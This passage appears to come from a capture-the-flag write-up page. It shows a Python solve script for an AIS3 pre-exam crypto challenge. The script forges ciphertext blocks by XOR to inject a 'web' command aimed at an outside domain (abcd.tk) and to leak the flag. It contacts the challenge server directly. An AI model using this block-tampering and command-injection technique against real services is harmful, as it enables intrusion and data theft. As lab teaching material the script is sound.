<span class="hljs-keyword">if</span> sha256.hexdigest()[:<span class="hljs-number">6</span>] == <span class="hljs-string">'000000'</span>:
<span class="hljs-keyword">return</span> x
<span class="hljs-keyword">raise</span> RuntimeError(<span class="hljs-string">"Unfortunately, PoW not found."</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">fold16</span><span class="hljs-params">(x)</span>:</span>
<span class="hljs-keyword">return</span> [x[i*<span class="hljs-number">16</span>:(i+<span class="hljs-number">1</span>)*<span class="hljs-number">16</span>] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(x)//<span class="hljs-number">16</span>+<span class="hljs-number">1</span>)]
ps = [
<span class="hljs-string">b'From: thor@ais3.'</span>,
<span class="hljs-string">b'org\nTo: ctfplaye'</span>,
<span class="hljs-string">b'[email protected]\n\n--BO'</span>,
<span class="hljs-string">b'UNDARY\nType: tex'</span>,
<span class="hljs-string">b't\nWelcome to AIS'</span>,
<span class="hljs-string">b'3 pre-exam.\n\n--B'</span>,
<span class="hljs-string">b'OUNDARY\nType: cm'</span>,
<span class="hljs-string">b"d\necho 'This is "</span>,
<span class="hljs-string">b'the blog of oali'</span>, <span class="hljs-comment">#8</span>
<span class="hljs-string">b"eno'\nweb 'https:"</span>,
<span class="hljs-string">b'//oalieno.github'</span>, <span class="hljs-comment">#10</span>
<span class="hljs-string">b".io'\necho 'This "</span>,<span class="hljs-comment">#11 leak</span>
<span class="hljs-string">b'is the blog of b'</span>,<span class="hljs-comment">#12 leak</span>
<span class="hljs-string">b"amboofox team'\nw"</span>,<span class="hljs-comment">#13 leak</span>
<span class="hljs-string">b"eb 'https://bamb"</span>,<span class="hljs-comment">#14 leak</span>
<span class="hljs-string">b'oofox.github.io/'</span>, <span class="hljs-comment">#15</span>
<span class="hljs-string">b"'\n\n--BOUNDARY\nTy"</span>,<span class="hljs-comment">#16</span>
<span class="hljs-string">b'pe: text\nYou can'</span>,
<span class="hljs-string">b' find some usefu'</span>,
<span class="hljs-string">b'l tutorial on th'</span>,
<span class="hljs-string">b'ere.\nAnd you mig'</span>,
<span class="hljs-string">b'ht be wondering '</span>,
<span class="hljs-string">b'where is the fla'</span>,
<span class="hljs-string">b'g?\nJust hold tig'</span>,
<span class="hljs-string">b'ht, and remember'</span>,
<span class="hljs-string">b' that patient is'</span>,
<span class="hljs-string">b' virtue.\n\n--BOUN'</span>,
<span class="hljs-string">b'DARY\nType: text\n'</span>,
<span class="hljs-string">b'Here is your fla'</span>,
]
server = remote(<span class="hljs-string">'104.199.235.135'</span>, <span class="hljs-number">20003</span>)
<span class="hljs-comment">#server = remote('127.0.0.1', 20003)</span>
pow_str = server.recvuntil(<span class="hljs-string">'x = '</span>).decode()
x_prefix = pow_str.split(<span class="hljs-string">"'"</span>)[<span class="hljs-number">1</span>]
ans = PoW(x_prefix)
server.sendline(ans)
server.recvuntil(<span class="hljs-string">'> '</span>)
server.sendline(<span class="hljs-string">'1'</span>)
b64 = server.recvuntil(<span class="hljs-string">'\n\n'</span>)
cs = fold16(base64.b64decode(b64))
server.recvuntil(<span class="hljs-string">'> '</span>)
<span class="hljs-comment">#server.recvuntil('')</span>
<span class="hljs-comment">#print(cs)</span>
<span class="hljs-keyword">assert</span> ps[<span class="hljs-number">8</span>] == <span class="hljs-string">b'the blog of oali'</span>
inject = <span class="hljs-string">b"'\nweb 'abcd.tk/"</span>
<span class="hljs-keyword">assert</span> len(inject) == <span class="hljs-number">16</span>
<span class="hljs-comment">#cs[8] = xor(cs[8], ps[9], inject)</span>
cs[<span class="hljs-number">8</span>] = xor(cs[<span class="hljs-number">8</span>], ps[<span class="hljs-number">9</span>], inject)
<span class="hljs-keyword">assert</span> ps[<span class="hljs-number">28</span>] == <span class="hljs-string">b'Here is your fla'</span>
cs[<span class="hljs-number">10</span>] = cs[<span class="hljs-number">28</span>] <span class="hljs-comment"># In order to display cs[29] properly</span>
cs[<span class="hljs-number">11</span>] = cs[<span class="hljs-number">29</span>]
cs[<span class="hljs-number">12</span>] = cs[<span class="hljs-number">30</span>]
cs[<span class="hljs-number">13</span>] = cs[<span class="hljs-number">31</span>]
cs[<span class="hljs-number">14</span>] = cs[<span class="hljs-number">32</span>]
server.sendline(<span class="hljs-string">'2'</span>)
print(server.recvuntil(<span class="hljs-string">': '</span>))
b64 = base64.b64encode(<span class="hljs-string">b''</span>.join(cs))
server.sendline(b64)
server.interactive()
<span class="hljs-comment">#print(server.recv())</span></code></pre> </article>
</div>
</div>
</body>
</html>